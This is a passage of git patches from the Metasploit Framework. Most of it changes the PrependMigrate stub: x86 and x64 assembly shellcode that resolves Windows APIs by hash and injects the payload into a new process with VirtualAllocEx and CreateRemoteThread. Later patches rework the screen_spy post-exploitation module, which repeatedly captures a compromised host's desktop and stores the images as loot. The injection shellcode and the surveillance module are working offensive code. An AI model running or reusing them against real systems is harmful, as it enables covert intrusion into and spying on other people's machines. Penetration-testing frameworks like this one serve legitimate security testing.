all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module -;-------------------------------------------------------------------------------------- -EOS - block_api_ebp_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + ;-------------------------------------------------------------------------------------- + EOS + block_api_ebp_asm = <<-EOS + pop ebp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -156,114 +161,114 @@ EOS # Prepare instructions to calculate address ebp_offset = "0x%04x" % (block_api_index + 5) - block_api_ebp_asm = <Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module -EOS - block_api_rbp_asm = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name + loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... + finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module + EOS + block_api_rbp_asm = <<-EOS + pop rbp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -378,112 +383,112 @@ EOS # Prepare instructions to calculate address rbp_offset = "0x%04x" % (block_api_index + 5) - block_api_rbp_asm = < Date: Tue, 22 Jan 2013 13:56:26 -0600 Subject: [PATCH 026/341] Unstupid the prepends callback Windows#prepends was overriding PrependMigrate#prepends --- lib/msf/core/payload/windows.rb | 8 +------- lib/msf/core/payload/windows/prependmigrate.rb | 4 +--- 2 files changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 78edd966ad..51c4ba4c91 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,6 +12,7 @@ require 'msf/core/payload/windows/prependmigrate' ### module Msf::Payload::Windows + # Provides the #prepends method include Msf::Payload::Windows::PrependMigrate # @@ -26,13 +27,6 @@ module Msf::Payload::Windows } - # @abstract Override to add additional stubs to prepend to the final - # shellcode. Be sure to call super so other modules may add stubs. - # @return [String] Stub to place at the begginning of generated shellcode - def prepends - "" - end - def generate(*args) return prepends + super end diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prependmigrate.rb index a1c8c6b2d7..f89d37af40 100644 --- a/lib/msf/core/payload/windows/prependmigrate.rb +++ b/lib/msf/core/payload/windows/prependmigrate.rb @@ -34,8 +34,6 @@ module Msf::Payload::Windows::PrependMigrate # Overload the generate() call to prefix our stubs # def prepends - # Call the real generator to get the payload - buf = super pre = '' test_arch = [ *(self.arch) ] @@ -51,7 +49,7 @@ module Msf::Payload::Windows::PrependMigrate pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end end - return (pre + buf) + return pre end # From c37510f7777d3169962d0b3173e036387bc7fc67 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 14:15:52 -0600 Subject: [PATCH 027/341] Move prependmigrate.rb for naming consistency --- lib/msf/core/payload/windows.rb | 2 +- .../payload/windows/{prependmigrate.rb => prepend_migrate.rb} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/core/payload/windows/{prependmigrate.rb => prepend_migrate.rb} (100%) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 51c4ba4c91..773a37447c 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/windows/prependmigrate' +require 'msf/core/payload/windows/prepend_migrate' ### # diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb similarity index 100% rename from lib/msf/core/payload/windows/prependmigrate.rb rename to lib/msf/core/payload/windows/prepend_migrate.rb From ff7756cd544d2459019e71defabd71f5ac00af17 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 16:10:44 -0600 Subject: [PATCH 028/341] Make #prepends() actually work --- lib/msf/core/payload/windows.rb | 6 +++--- lib/msf/core/payload/windows/prepend_migrate.rb | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 773a37447c..9dc956c8d8 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/windows/prepend_migrate' ### # @@ -12,6 +11,7 @@ require 'msf/core/payload/windows/prepend_migrate' ### module Msf::Payload::Windows + require 'msf/core/payload/windows/prepend_migrate' # Provides the #prepends method include Msf::Payload::Windows::PrependMigrate @@ -27,8 +27,8 @@ module Msf::Payload::Windows } - def generate(*args) - return prepends + super + def generate + return prepends(super) end # diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index f89d37af40..5d912653eb 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -33,7 +33,7 @@ module Msf::Payload::Windows::PrependMigrate # # Overload the generate() call to prefix our stubs # - def prepends + def prepends(buf) pre = '' test_arch = [ *(self.arch) ] @@ -49,7 +49,7 @@ module Msf::Payload::Windows::PrependMigrate pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end end - return pre + return pre + buf end # From 17dad0e67b1160d82e198590da0898b261aadce5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 24 Jan 2013 11:02:43 -0600 Subject: [PATCH 029/341] Update the deprecation note, add to msfconsole This will cause msfconsole to throw a warning as well as msfupdate. The deadline for action is also set at the end of February. --- msfconsole | 22 ++++++++++++++++++++-- msfupdate | 11 +++++++---- 2 files changed, 27 insertions(+), 6 deletions(-) diff --git a/msfconsole b/msfconsole index ea8add619e..8c4c718c9a 100755 --- a/msfconsole +++ b/msfconsole @@ -14,12 +14,12 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +@msfbase_dir = File.expand_path(File.dirname(msfbase)) + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) require 'fastlib' require 'msfenv' - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' @@ -30,6 +30,24 @@ if(RUBY_PLATFORM =~ /mswin32/) $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end +def is_svn + File.directory?(File.join(@msfbase_dir, ".svn")) +end + +def print_deprecation_warning + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com:9418/TCP." +end + +if is_svn + print_deprecation_warning +end + + class OptsConsole # # Return a hash describing the options. diff --git a/msfupdate b/msfupdate index 058fd8f51e..13e9cf8e77 100755 --- a/msfupdate +++ b/msfupdate @@ -53,10 +53,13 @@ def add_git_upstream end def print_deprecation_warning - $stdout.puts "[*] Deprecation Note: The next version of Metasploit will" - $stdout.puts "[*] update over the git protocol, which requires outbound" - $stdout.puts "[*] access to github.com:9418/TCP." - $stdout.puts "[*] Please adjust your egress firewall rules accordingly." + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com:9418/TCP." + $stdout.puts "" end def maybe_wait_and_exit(exit_code=0) From d9e1653443bbf0e764b1a154b20bc46bd7e72f71 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Thu, 24 Jan 2013 17:14:25 -0600 Subject: [PATCH 030/341] Use EXITFUNC if present to save space and be more correct. Jump straight to payload on process failure to save space. --- .../core/payload/windows/prepend_migrate.rb | 56 ++++++++++++++----- 1 file changed, 41 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 5d912653eb..b8fb679db5 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -147,6 +147,23 @@ module Msf::Payload::Windows::PrependMigrate jmp.i8 next_mod ; Process this module ;-------------------------------------------------------------------------------------- EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + push -1 + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( ... ); + EOS + + # Check to see if we can find exitfunc in the payload + exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + + "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + block_api_ebp_asm = <<-EOS pop ebp ; Pop off the address of 'api_call' for calling later. EOS @@ -213,9 +230,7 @@ module Msf::Payload::Windows::PrependMigrate ; if we didn't get a new process, use this one test eax,eax - jnz goodProcess ; Skip this next block if we got a new process - dec eax - mov [edi], eax ; handle = NtCurrentProcess() + jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) @@ -254,10 +269,7 @@ module Msf::Payload::Windows::PrependMigrate push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); - ;sleep - push -1 - push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) - call ebp ; Sleep( ... ); + #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand @@ -266,6 +278,7 @@ module Msf::Payload::Windows::PrependMigrate #{block_close_to_payload} begin_of_payload: call begin_of_payload_return + payload: EOS migrate_asm end @@ -369,6 +382,24 @@ module Msf::Payload::Windows::PrependMigrate mov rdx, [rdx] ; Get the next module jmp next_mod ; Process this module EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + xor rcx,rcx + dec rcx ; rcx = -1 + mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call rbp ; Sleep( ... ); + EOS + + # Check to see if we can find x64 exitfunc in the payload + exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" + + "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + block_api_rbp_asm = <<-EOS pop rbp ; Pop off the address of 'api_call' for calling later. EOS @@ -432,9 +463,7 @@ module Msf::Payload::Windows::PrependMigrate ; if we didn't get a new process, use this one test rax,rax - jnz goodProcess ; Skip this next block if we got a new process - dec rax - mov [rdi], rax ; handle = NtCurrentProcess() + jz payload ; If process creation failed, jump to shellcode goodProcess: ; allocate memory in the process (VirtualAllocEx()) @@ -473,11 +502,7 @@ module Msf::Payload::Windows::PrependMigrate mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); - ;sleep - xor rcx,rcx - dec rcx ; rcx = -1 - mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) - call rbp ; Sleep( ... ); + #{exitblock} ; jmp to exitfunc or long sleep getcommand: call gotcommand @@ -486,6 +511,7 @@ module Msf::Payload::Windows::PrependMigrate #{block_close_to_payload} begin_of_payload: call begin_of_payload_return + payload: EOS migrate_asm end From 80a0f0694d99c6ac348619394f9af242e8266b0e Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 00:49:48 -0600 Subject: [PATCH 031/341] add 'auto' & 'none' VIEW_CMD, fixed looting, ch defaults --- modules/post/windows/gather/screen_spy.rb | 89 +++++++++++++++-------- 1 file changed, 59 insertions(+), 30 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 7b53d9391f..90a88eb02b 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -13,34 +13,40 @@ class Metasploit3 < Msf::Post super( update_info(info, 'Name' => 'Windows Gather Screen Spy', 'Description' => %q{ - This module will incrementally take screenshots of the meterpreter host. This + This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction. + NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name + will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to + have the module do it's best...default browser for Windows, firefox for *nix, and + preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress + opening of screenshots all together, set the VIEW_CMD option to 'none'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Roni Bachar ', # original meterpreter script 'bannedit', # post module - 'kernelsmith ', # record support + 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], - 'Platform' => ['win'], + 'Version' => '$Revision$', + 'Platform' => ['windows'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) register_options( [ - OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]), - OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]), - OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']), - OptBool.new('RECORD', [false, 'Record all screenshots to disk',false]) + OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]), + OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), + OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']), + OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false]) ], self.class) end def run host = session.session_host - screenshot = Msf::Config.install_root + "/data/" + host + ".jpg" + screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg" migrate_explorer if session.platform !~ /win32|win64/i @@ -55,46 +61,69 @@ class Metasploit3 < Msf::Post return end - # here we check for the local platform and use default browsers - # linux is the one question mark firefox is not necessarily a - case ::Config::CONFIG['host'] # neat trick to get the local system platform - when /ming/ - cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\"" - when /linux/ - cmd = "#{datastore['BROWSER']} file://#{screenshot}" - when /apple/ - cmd = "open file://#{screenshot}" # this will use preview + # here we check for the local platform to determine what to do when 'auto' is selected + if datastore['VIEW_CMD'].downcase == 'auto' + case ::RbConfig::CONFIG['host_os'] + when /mac|darwin/ + cmd = "open file://#{screenshot}" # this will use preview usually + when /mswin|win|mingw/ + cmd = "start iexplore.exe \"file://#{screenshot}\"" + when /linux|cygwin/ + # This opens a new tab for each screenshot, but I don't see a better way + cmd = "firefox file://#{screenshot} &" + else # bsd/sun/solaris might be different, but for now... + cmd = "firefox file://#{screenshot} &" + end + elsif datastore['VIEW_CMD'].downcase == 'none' + cmd = nil + else + cmd = "#{datastore['VIEW_CMD']}#{screenshot}" end begin count = datastore['COUNT'] - print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']] + print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" # calculate a sane number of leading zeros to use. log of x is ~ the number of digits - leading_zeros = Math::log(count,10).round + leading_zeros = Math::log10(count).round + file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) data = session.espia.espia_image_get_dev_screen if data if datastore['RECORD'] - # let's write it to disk using non-clobbering filename - shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num - ss = ::File.new(shot, 'wb') - ss.write(data) - ss.close + # let's loot it using non-clobbering filename, even tho this is the source filename, not dest + fn = "screenshot.%0#{leading_zeros}d.jpg" % num + file_locations << store_loot("screenspy.screenshot", "application/octet-stream", session, data, fn, "Screenshot") + #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end - fd = ::File.new(screenshot, 'wb') - fd.write(data) - fd.close + # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. + if cmd # do this if they have not suppressed VIEW_CMD display + fd = ::File.new(screenshot, 'wb') + fd.write(data) + fd.close + end end - system(cmd) + system(cmd) if cmd end rescue ::Exception => e - print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}") + print_error("Error taking or storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") - ::File.delete(screenshot) + if file_locations and not file_locations.empty? + print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot" + end + if cmd + # wait 2 secs so the last file can get opened before deletion + select(nil, nil, nil, 2) + begin + ::File.delete(screenshot) + rescue Exception => e + print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}") + print_error("This may be due to the file being in use if you are on a Windows platform") + end + end end def migrate_explorer From 6659459de57bc8eefee68a1d85be890cadaebc29 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 10:56:49 -0600 Subject: [PATCH 032/341] del Version ref and change platform windows -> win per sinner's comments, thanks sinner. --- modules/post/windows/gather/screen_spy.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 90a88eb02b..3ca16f439b 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Post 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], - 'Version' => '$Revision$', - 'Platform' => ['windows'], # @todo add support for posix meterpreter somehow? + 'Platform' => ['win'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) From 32a5a009d63af5fca1fe02d9b5d5c33a0e9734a4 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 11:28:47 -0600 Subject: [PATCH 033/341] change loot type to image/jpg thanks egypt --- modules/post/windows/gather/screen_spy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 3ca16f439b..653abe9d9e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post if datastore['RECORD'] # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num - file_locations << store_loot("screenspy.screenshot", "application/octet-stream", session, data, fn, "Screenshot") + file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end From f649cd53ad2cdca7bd3a438ba56cee63a67af298 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 11:31:10 -0600 Subject: [PATCH 034/341] removed commented out code (again) thanks egypt --- modules/post/windows/gather/screen_spy.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 653abe9d9e..6d8a9f07cb 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -93,7 +93,6 @@ class Metasploit3 < Msf::Post # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") - #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. From e1c037e523824583a2c411cceab500024667c8f1 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 12:06:57 -0600 Subject: [PATCH 035/341] Better error handling --- 